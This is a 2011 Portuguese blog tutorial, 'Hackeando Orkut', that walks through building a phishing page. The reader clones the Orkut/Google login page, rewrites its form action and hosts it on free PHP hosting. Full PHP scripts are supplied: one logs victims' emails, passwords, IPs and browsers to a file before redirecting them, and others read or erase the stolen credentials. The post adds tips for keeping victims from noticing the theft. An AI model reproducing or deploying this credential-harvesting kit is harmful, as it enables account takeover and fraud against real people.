Hackeando Orkut
Autor: LinkNois | Publicado: 2011-12-18T19:25:00-08:00

Este método funfa perfeitamente para o orkut, porém pra alguns sites como hotmail ou yahoo, não funfa.
Primeiramente vc vai precisar de um site de hospedagem da fake, algum site que aceite PHP, indico o 110mb.
Cuidado ao criar a conta, eles estão deletando contas com nomes de Orkut, Orkvt, Orkt, Orkutt, etc.

-=PARTE 1=-
Depois  de criada a conta vc vai precisar de uma página fake do orkut (ou do  site que quiser) pra isso vai na página que vc quer clonar e clica com o  botão direito e vá em "exibir código fonte".
Salve o que aparecer no bloco de notas como "Login.htm"
NOTA: Vamos nos concentrar numa do orkut...


Se  vc der duplo click no arquivo vai abrir a página QUASE pronta, observe  que a palavra google não está colorido, vai precisar mudar o endereço  onde a página busca esta imagem, pra isso, vai no arquivo click com o  botão direito e vá em "abrir com... bloco de notas"
vai aparecer o código html.

No  código (no bloco de notas) dê CTRL F, vai aparecer uma janela e digite  lá pra "Localizar", src, click em "Localizar próxima" e vai clicando até  vc localizar um endereço que vai tá exatamente assim:

&lt;img src="/google_transparent.gif"
veja  bem este endereço está incompleto quando a página está hospedada num  site fora do orkut a imagem não é encontrada e por isso vc deve  acrescentar o ENDEREÇO COMPLETO, coloque assim:

&lt;img src="https://www.google.com/accounts/google_transparent.gif"

o que está em vermelho vai ter que digitar.
NOTA: Observe bem que é https e não http.

Essa foi a primeira parte do Tuto.


-==PARTE 2==-

Ainda com a página aberta no bloco de notas, CTRL F de novo pra localizar agora a palavra action, vai lá...

Encontrou? Só tem uma palavra em todo o código, vc vai encontrar um endereço assim (entre aspas):

https://www.google.com/accounts/ServiceLoginAuth?service=orkut

vai substituir todo ele por salva.php

Com a palavra action o código inteiro vai ficar assim:

action="salva.php"

Salve a página, ela está pronta agora. 


-==PARTE 3==-
Agora  vamos criar os arquivos em PHP, pra isso abra o bloco de notas e cole  estes códigos que peguei na comunidade Império dos Códigos, criados pelo  Raul.
E aqui quem cria esse tutorial é o Jim_ tem mta gente que  gosta de copiar e colar e nunca coloca os créditos, então coloco no meio  do tuto ai não tem jeito.
rs

-&gt; SALVA.PHP

Com o bloco de notas aberto cole esse código:


&lt;?php
$nomearquivo ="senhas.txt";
$email =$_POST["Email"];
$senha =$_POST["Passwd"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date("Y-m-d");
$hora =date("H:i:s");
$traco ="&lt;br&gt;__________________________________________________________________&lt;br&gt;";
$ess  ="Email: ".$email."&lt;br&gt;Senha: ".$senha."&lt;br&gt;Navegador:  ".$browser."&lt;br&gt;IP: ".$ip."&lt;br&gt;Nome do Host:  ".$hostname."&lt;br&gt;Data: ".$data."&lt;br&gt;Hora:  ".$hora."&lt;br&gt;".$traco;
$abre =@fopen("senhas.txt","a+");
$escreve =fwrite($abre, $ess);
echo "&lt;script&gt;javascript:document.location='http://www.orkut.com'&lt;/script&gt;";
?&gt;


e salve como salva.php.
Observe  que uma parte em vermelho no código está destacado, este é o endereço  que a pessoa vai assim que clicar em "acessar" na página de login  (página fake no nosso caso).
Perceba que vc pode colocar o endereço  que quiser... Uma dica se vc mandou pra uma pessoa e disse que era uma  comunidade legal, substitua o endereço acima pra uma comunidade, daí ao  clicar em acessar a pessoa realmente vai pra uma comunidade e não pra  sua página inicial, dessa forma a vítima não percebe que te mandou a  senha.

-&gt; LER.PHP

Com esse arquivo é que vc vai ler as senhas...
Cole mais uma vez no bloco de notas o seguinte cósigo:


&lt;?php
$fd = @fopen("senhas.txt","r") or die("Ops,Avise o web master que falta um ficheiro no servidor.");
fpassthru($fd);
?&gt;



e salve como ler.php. 



-&gt; APAGAR.PHP

Com esse arquivo é que vc vai apagar as senhas...
Cole mais uma vez no bloco de notas o seguinte cósigo:

&lt;?php
$fd = @fopen("senhas.txt","w") or die("arquivo inexistente");
fpassthru($fd);
?&gt;
e salve como apagar.php.

-=PARTE 4=-
Agora de posse desses três arquivos á saber:

-&gt; Login.htm: a página fake já com as modificações necessárias.
-&gt; salva.php: arquivo php necessário pra página funcionar.
-&gt; ler.php: com esse arquivo é que vc vai conseguir ver as senhas e logins.
-&gt; apagar.php: com esse arquivo vc vai apagar as senhas e logins depois de ter guardado.

Agora vc deve hospedar os quatro arquivos num site como o 110mb, vilabol...

IMPORTANTE: COLOQUE TODOS OS ARQUIVOS JUNTOS NO MESMO DIRETÓRIO.


Bom hospedeiro:

www.justfree.com

Deve Funcionar Ainda
Creditos&nbsp; tudosobrehacke